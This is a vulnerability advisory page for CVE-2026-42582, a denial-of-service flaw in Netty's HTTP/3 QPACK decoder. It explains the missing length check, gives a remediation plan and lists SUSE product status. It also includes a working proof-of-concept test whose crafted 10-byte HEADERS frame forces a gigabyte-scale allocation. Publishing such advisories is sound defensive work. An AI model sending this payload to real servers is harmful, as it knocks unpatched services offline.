Netty HTTP/3 codec CVE-2026-42582
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from Vendor (https://github.com/netty/netty).
CVSS VectorVendor: https://github.com/netty/netty
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
3DescriptionCVE.org
Summary
When Netty decodes HTTP/3 headers, it sometimes runs new byte[length] using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte).
Details
When decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length <= in.readableBytes() before new byte[length].
PoC
The test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1 GiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target new byte[length].
@Test
public void test() throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
try {
X509Bundle cert = new CertificateBuilder()
.subject("cn=localhost")
.setIsCertificateAuthority(true)
.buildSelfSigned();
QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
AtomicReference<Throwable> serverErrors = new AtomicReference<>();
CountDownLatch serverConnectionClosed = new CountDownLatch(1);
ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
.sslContext(serverContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10_000_000)
.initialMaxStreamDataBidirectionalLocal(1_000_000)
.initialMaxStreamDataBidirectionalRemote(1_000_000)
.initialMaxStreamsBidirectional(100)
.tokenHandler(InsecureQuicTokenHandler.INSTANCE)
.handler(new ChannelInitializer<QuicChannel>() {
@Override
protected void initChannel(QuicChannel ch) {
ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
ch.pipeline().addLast(new Http3ServerConnectionHandler(
new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverErrors.set(cause.getCause());
} else {
serverErrors.set(cause);
}
}
}));
}
})
.build();
Channel server = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(serverCodec)
.bind("127.0.0.1", 0)
.sync()
.channel();
QuicSslContext clientContext = QuicSslContextBuilder.forClient()
.trustManager(InsecureTrustManagerFactory.INSTANCE)
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
.sslContext(clientContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10000000)
.initialMaxStreamDataBidirectionalLocal(1000000)
.build();
Channel client = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(clientCodec)
.bind(0)
.sync()
.channel();
QuicChannel quicChannel = QuicChannel.newBootstrap(client)
.handler(new Http3ClientConnectionHandler())
.remoteAddress(server.localAddress())
.localAddress(client.localAddress())
.connect()
.get();
QuicStreamChannel rawStream =
quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();
ByteBuf header = Unpooled.buffer();
header.writeByte(0x01);
header.writeByte(0x08);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x27);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x04);
rawStream.writeAndFlush(header).sync();
assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get());
quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
server.close().sync();
client.close().sync();
} finally {
group.shutdownGracefully();
}
}Impact
The server can slow down, stall, or crash under load when many crafted HTTP/3 HEADERS frames trigger very large byte[] allocations during QPACK literal decoding.
AnalysisAI
Memory exhaustion in Netty HTTP/3 codec allows remote attackers to cause server crash or denial of service through malformed QPACK headers. The vulnerability affects io.netty:netty-codec-http3 versions up to 4.2.12.Final and enables unauthenticated attackers to force gigabyte-scale memory allocations with minimal wire data-a crafted HEADERS frame of just 10 bytes can trigger ~1 GiB allocation. Publicly available exploit code exists (PoC provided in GitHub advisory GHSA-2c5c-chwr-9hqw). CVSS 7.5 (High) reflects network-accessible attack requiring no privileges or user interaction.
Technical ContextAI
This vulnerability resides in Netty's QPACK decoder implementation for HTTP/3, specifically the QpackDecoder#decodeHuffmanEncodedLiteral method handling non-Huffman string literals. QPACK (QPACK: Field Compression for HTTP/3, RFC 9204) compresses HTTP headers using variable-length integer encoding that can express large values in few bytes. The flaw is a classic uncontrolled resource consumption issue (CWE-770): the decoder reads a length field from untrusted wire data and immediately allocates 'new byte[length]' without validating that 'length <= in.readableBytes()'. HTTP/3 runs over QUIC transport, making this exploitable against any HTTP/3-enabled server using vulnerable Netty versions. The CPE pkg:maven/io.netty:netty-codec-http3 confirms this is specific to Netty's HTTP/3 codec module, not the broader HTTP/1.x or HTTP/2 codecs.
RemediationAI
Vendor-released patch: Upgrade io.netty:netty-codec-http3 to version 4.2.13.Final or later, as confirmed by GitHub advisory GHSA-2c5c-chwr-9hqw (https://github.com/netty/netty/security/advisories/GHSA-2c5c-chwr-9hqw). For Maven-based projects, update dependency version in pom.xml to 4.2.13.Final. If immediate upgrade is not feasible, implement temporary workarounds: disable HTTP/3 protocol support and fall back to HTTP/2 or HTTP/1.1 (trade-off: loss of HTTP/3 performance benefits including improved latency and connection migration); apply rate limiting at network edge to restrict HEADERS frame frequency per source IP (trade-off: may impact legitimate high-volume clients); configure strict memory limits for application processes using cgroups or containerization (trade-off: may cause premature termination under legitimate load spikes but prevents system-wide exhaustion). Monitor memory usage patterns for abnormal allocation spikes. No reference to compensating controls in upstream advisory-patch application is the definitive mitigation.
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View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP7 | Affected |
| SUSE Linux Enterprise Server 15 SP7 | Affected |
| SUSE Linux Enterprise Desktop 15 SP7 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP7 | Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Affected |
| SUSE Linux Enterprise Desktop 15 SP7 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP7 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP4 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP4 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP6 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP5 | Fixed |
| SUSE Linux Enterprise Server 15 SP5 | Fixed |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| SUSE Manager Proxy 4.3 | Fixed |
| SUSE Manager Proxy 4.3 | Fixed |
| SUSE Manager Retail Branch Server 4.3 | Fixed |
| SUSE Manager Retail Branch Server 4.3 | Fixed |
| SUSE Manager Server 4.3 | Fixed |
| SUSE Manager Server 4.3 | Fixed |
| SUSE Enterprise Storage 7 | Fixed |
| SUSE Enterprise Storage 7 | Fixed |
| SUSE Enterprise Storage 7.1 | Fixed |
| SUSE Enterprise Storage 7.1 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP2 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP2 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP3 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP3 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP4 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP4 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP5 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP5 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP6 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP2 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP2 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP3 | Fixed |
| SUSE Linux Enterprise Module for Development Tools 15 SP3 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP2 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP2 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP3 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP3 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP4 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP2 | Fixed |
| SUSE Linux Enterprise Server 15 SP2 | Fixed |
| SUSE Linux Enterprise Server 15 SP2-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP2-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP3 | Fixed |
| SUSE Linux Enterprise Server 15 SP3 | Fixed |
| SUSE Linux Enterprise Server 15 SP3-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP3-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Fixed |
| SUSE Manager Proxy 4.1 | Fixed |
| SUSE Manager Proxy 4.1 | Fixed |
| SUSE Manager Proxy 4.2 | Fixed |
| SUSE Manager Proxy 4.2 | Fixed |
| SUSE Manager Retail Branch Server 4.1 | Fixed |
| SUSE Manager Retail Branch Server 4.1 | Fixed |
| SUSE Manager Retail Branch Server 4.2 | Fixed |
| SUSE Manager Retail Branch Server 4.2 | Fixed |
| SUSE Manager Server 4.1 | Fixed |
| SUSE Manager Server 4.1 | Fixed |
| SUSE Manager Server 4.2 | Fixed |
| SUSE Manager Server 4.2 | Fixed |
| openSUSE Leap 15.3 | Fixed |
| openSUSE Leap 15.3 | Fixed |
| openSUSE Leap 15.3 | Fixed |
| openSUSE Leap 15.4 | Fixed |
| openSUSE Leap 15.4 | Fixed |
| openSUSE Leap 15.4 | Fixed |
| openSUSE Leap 15.5 | Fixed |
| openSUSE Leap 15.5 | Fixed |
| openSUSE Leap 15.5 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| suse/manager/5.0/x86_64/server suse/multi-linux-manager/5.1/x86_64/server suse/multi-linux-manager/5.2/x86_64/server | Fixed |
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External POC / Exploit Code
Leaving vuln.today
GHSA-2c5c-chwr-9hqw